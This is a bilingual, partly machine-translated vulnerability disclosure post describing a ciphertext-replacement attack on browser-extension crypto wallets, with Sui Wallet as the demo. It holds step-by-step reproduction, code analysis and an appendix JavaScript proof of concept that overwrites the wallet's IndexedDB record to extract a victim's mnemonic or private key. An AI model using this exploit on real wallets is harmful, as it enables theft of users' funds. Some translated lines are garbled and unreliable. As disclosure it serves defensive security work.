Abstract 抽象
Many chrome extension wallets use indexedDB to store encryption key data, but there exist a cipher text replacement attack. The attacker can replace the victim’s wallet cipher text then decrypt the victim’s wallet and steal the user’s private key or mnemonic phrase. There are many wallets exists this vulnerability , including coinbase, crypto, sui wallet, myetherwallet etc( sorry I know test these wallets).
许多 chrome 扩展钱包使用 indexedDB 来存储加密密钥数据,但存在密文替换攻击。攻击者可以替换受害者的钱包密文,然后解密受害者的钱包并窃取用户的私钥或助记词。有很多钱包存在这个漏洞,包括coinbase、crypto、sui钱包、myetherwallet等(对不起,我知道测试这些钱包)。
I report these vulnerability to all of them, they don’t think this is a vulnerability and they will not fix it,so the bug still not fixed, Because they think this need physical access the wallet and also mybe this is a new type attack, they don’t realize that this is a security issue .
我向他们所有人报告了这些漏洞,他们不认为这是一个漏洞,他们不会修复它,所以这个错误仍然没有修复,因为他们认为这需要物理访问钱包,而且这是一种新型攻击,他们没有意识到这是一个安全问题。
Despite this, I still feel that this is a very security vulnerability that will pose a potential security threat to user assets. I post the details of the bug just want the vendor be able to pay attention to this issue .Take user asset security seriously .Here I will show the details of the bug.
尽管如此,我仍然觉得这是一个非常安全的漏洞,会对用户资产构成潜在的安全威胁。我发布错误的详细信息只是希望供应商能够关注这个问题。重视用户资产安全。在这里,我将展示该错误的详细信息。
pls see the attack video demo:
请观看攻击视频演示:
Reproduction: 繁殖:
- the attacker generate a SUI wallet account, here we call it Wallet A, remember the wallet password
攻击者生成一个SUI钱包账户,这里我们称之为Wallet A,记住钱包密码 - the attacker dump Wallet A’s indexedb data with the key:
SuiWallet DB
=>accountSources
the data like this:
攻击者使用key:SuiWallet DB
=>转储Wallet A的indexedb数据accountSources
,如下所示:
{
"key": "fe62e6a9-67df-48f3-be6f-ca07cc15cb6f",
"value": {
"id": "fe62e6a9-67df-48f3-be6f-ca07cc15cb6f",
"type": "mnemonic",
"encryptedData": "{\"data\":\"NscdxKs4flt5BjG5rojJNfyyqgUOseQWqwm1gqCVFgWAVzvz4GOl5RaFPUGOKKnSzG7tgkj4i4Jwy/zRP0XQsWdfKByUfXxfamD6IvygGjduHzRoH5XkA6XbMk5Vbe5YTixI9GWjSB4uHn0JfvH6ubOQGaT/Vh70DOr0zwEYcIfp/KLEMBoO5NvkjFbDSFA1ZWOkET8zicv6CpmiVmOLpgTh8s909oa+qFYAGHoEP8dNSZfdbInJ/UlG3jnM2qisVtAL5xWc476Z75GdelsuiOIquXZLog==\",\"iv\":\"xfm3nikK1EmF5kunBM7YqQ==\",\"salt\":\"nmQsmyqYcDDEJRDyqqtTz4gpUEgj9B6xUGykbiv8sXA=\"}",
"sourceHash": "591462223e7a4debc641d19c32094b509060b40e6d147c1ff4745cd13b15542d",
"createdAt": 1702355069267
}
}
3.now when the the victim’s Sui wallet (we call it Wallet B)is unlocked and export the passphrase or private key one time, and then attcker replace the Wallet B’s accountSources data of indexedDB with Wallet A’s accountSources data, NOTE: we should only replace the encryptedData ,sourceHash to attacker’s encryptedData sourceHash data. if you replace other key and value will not reproduce the vulnerability.
3.现在当受害者的 Sui 钱包(我们称之为 Wallet B)被解锁并导出一次密码或私钥时,然后将钱包 B 的 indexedDB 的 accountSources 数据替换为 Wallet A 的 accountSources 数据,注意:我们只应该将 encryptedData ,sourceHash 替换为攻击者的 encryptedData sourceHash 数据。如果替换其他键和值,则不会重现该漏洞。
4. click Verify below, and then input Wallet A’s password ,
4. 点击下方的验证,然后输入钱包A的密码,
5.Congrats. if there is anything wrong, it will decrypt the victim’s private key or passphrase.
5.恭喜。如果有任何错误,它将解密受害者的私钥或密码。
vulnerability code analysis
漏洞代码分析
Sui wallet source code: 隋钱包源码:
https://github.com/MystenLabs/sui/tree/cae95c6bb9ef163e99a8f6f95d7e5bacc85aded6/apps/wallet
1.this function is used for export passphrase,
1.此功能用于导出密码,
export function useExportPassphraseMutation() {
const backgroundClient = useBackgroundClient();
return useMutation({
mutationKey: ['export passphrase'],
mutationFn: async (args: MethodPayload<'getAccountSourceEntropy'>['args']) =>
entropyToMnemonic(
toEntropy((await backgroundClient.getAccountSourceEntropy(args)).entropy),
).split(' '),
});
}
And then we can see entropy used for converts to mnemonic using the english wordlist.
然后我们可以看到使用英语单词表将熵用于转换为助记符。
/**
* Converts entropy (byte array) to mnemonic using the english wordlist.
*
* @param entropy Uint8Array
*
* @return the mnemonic as string
*/
export function entropyToMnemonic(entropy: Uint8Array): string {
return bip39.entropyToMnemonic(entropy, wordlist);
}
2.so how to get entropy?
2.so 如何获得熵?
Here the sui wallet use the function getEntropy
to get the entropy:
这里 sui 钱包使用函数 getEntropy
来获取熵:
async getEntropy(password?: string) {
let data = await this.getEphemeralValue();
if (password && !data) {
data = await this.#decryptStoredData(password);
}
if (!data) {
throw new Error(`Mnemonic account source ${this.id} is locked`);
}
return data.entropyHex;
}
From the code above, we know there are two situations:
从上面的代码中,我们知道有两种情况:
- use
getEphemeralValue
function (an asynchronous function) that retrieves entropy from the session storage.
使用getEphemeralValue
函数(异步函数)从会话存储中检索熵。 - If no entropy data exist will try to decrypt the indexedDB data use
decryptStoredData
and get the entropy.
如果没有熵数据存在,将尝试解密 indexedDB 数据,使用decryptStoredData
并获取熵。
So in here, We replace the indexedDB data, and session data still exist, Therefore, the first situation is satisfied here,It will directly get entropy data from the session. because the session not changed , so it still is the victim’s entropy data and then it will directly extract the victim’s wallet passphrase.
所以在这里,我们替换了indexedDB的数据,会话数据依然存在,因此这里满足了第一种情况,它会直接从会话中获取熵数据。因为会话没有改变,所以它仍然是受害者的熵数据,然后它会直接提取受害者的钱包密码。
Attack conditions: 攻击条件:
- Vitcitm’s wallet is unloked and has been export the private key or passphrase more than one time
Vitcitm 的钱包已解锁,并且已多次导出私钥或密码
Why did I choose to make this vulnerability public?
我为什么选择公开此漏洞?
As mentioned before, I reported the vulnerability to these vendors two months ago, but they have not fixed it yet. I also told them that I would make it public, but they did not reply to me, so in order to force the vendors to fix it as soon as possible and to make people in the community aware of the security risks that their wallets may face, and to prevent other hackers from exploiting this vulnerability and stealing user assets, I think I should disclose this vulnerability.
如前所述,我在两个月前向这些供应商报告了该漏洞,但他们尚未修复。我也告诉他们我会公开,但是他们没有回复我,所以为了逼迫厂商尽快修复,让社区里的人意识到他们的钱包可能面临的安全风险,并防止其他黑客利用这个漏洞窃取用户资产, 我想我应该揭露这个漏洞。
Disclosure of 0day vulnerabilities is nothing new in the traditional network security field.
在传统的网络安全领域,披露0day漏洞并不是什么新鲜事。
Vulnerability Disclosure Policy
漏洞披露政策
90+30 policy Project Zero follows a 90+30 disclosure deadline policy, which means that a vendor has 90 days after…
90+30 政策 Project Zero 遵循 90+30 披露截止日期政策,这意味着供应商在 90 天后…
googleprojectzero.blogspot.com
The wallet effect by this vulnerability I know:
我知道这个漏洞对钱包的影响:
I know there 我知道那里
1.Coinbase Wallet extension
1.Coinbase钱包扩展
2.Crypto.com wallet extenstion
2.Crypto.com 钱包扩展
3.MyEtherWallet 3.我的以太钱包
I know there must be other wallets affected, but I don’t have that much time to check them one by one. If you find any affected wallets, you can tell me. If the manufacturer wants to know how to fix it, you can also send me an email: [email protected]
我知道一定还有其他钱包受到影响,但我没有那么多时间一一检查。如果您发现任何受影响的钱包,可以告诉我。如果制造商想知道如何修复它,您也可以给我发送电子邮件:[email protected]
Conclusion 结论
In here I only use Sui Wallet as a demo. other wallets I mentioned before can also reproduced, so I will not analysis them in here you can try by yourself.so you can see the vulnerability can stloen user’s privatekey actually. So I think the vendor shout take serious users’ security. fix them as quickly as possible.
在这里,我只使用 Sui Wallet 作为演示。我之前提到的其他钱包也可以复制,所以我在这里就不分析了,你可以通过 yourself.so 试试,你可以看到这个漏洞实际上可以偷走用户的私钥。所以我认为供应商大喊大叫,认真对待用户的安全。尽快修复它们。
appendix 附录
the javascript code, replace the accountSource data:
javascript 代码,替换 accountSource 数据:
use this code and v8 vulnerability can make remote exploit.
使用此代码和 v8 漏洞可以进行远程利用。
var request = indexedDB.open("SuiWallet DB", 20);
request.onerror = function(event) {
console.log("Error opening database");
};
request.onsuccess = function(event) {
var db = event.target.result;
//console.log(db)
// // Create a transaction
var transaction = db.transaction(["accountSources"],'readwrite');
transaction.onerror = function(event) {
console.log("Error starting transaction");
};
// Access the object store
var objectStore = transaction.objectStore("accountSources");
// "37f9c921-4542-4167-96c3-aab364a8350b"
console.log(objectStore)
//var index=objectStore.index('type')
var updateRequest = objectStore.put({
"id": "37f9c921-4542-4167-96c3-aab364a8350b",
"type": "mnemonic",
"encryptedData": "{\"data\":\"ZjT6isSqQUBG1S3s7kBQq6nDSS9KfaEfe4K2LUgelVesibEFu8od/u5X7n6nZQE0/EaX3JYAj8y5uufwG1p6Nx7PiJWDnxVZbZaiumj7FnWWJJE9BxQvKQ7vXOuKDgdIXvEuXk6ElFC5yGJ4PbHO9NlPMURh6R6QGXA4jleH9sePKa0WRJE8BdrsR7T9+o0hOtRrONphwYDMHtzSgqvuVGRY2XWhAYZEEDk8XF5SN6bAHhIML1RHFBptOJ2ibutS+v2jykNbCogMTGPil+qTx3LD07WYcA==\",\"iv\":\"eNXMiP0JXe1HC9IE/74oDw==\",\"salt\":\"d7w9KYw4TdnnXSN10nV2ZNgyAnPZZa3dBrb9BgrtWWY=\"}",
"sourceHash": "deb7ac7e60afed5b064028ce232138e654f5ccad3356f771eac86bacffcba7e8",
"createdAt": 1378274583
});
updateRequest.onsuccess = function(event) {
console.log("Data updated successfully");
};
updateRequest.onerror = function(event) {
console.log("Error updating data");
};
transaction.oncomplete = function(event) {
// Close the transaction and the database
db.close();
};
};
原文始发于@ma1fan:[0day]Multiple wallets can leak the users Private key
转载请注明:[0day]Multiple wallets can leak the users Private key | CTF导航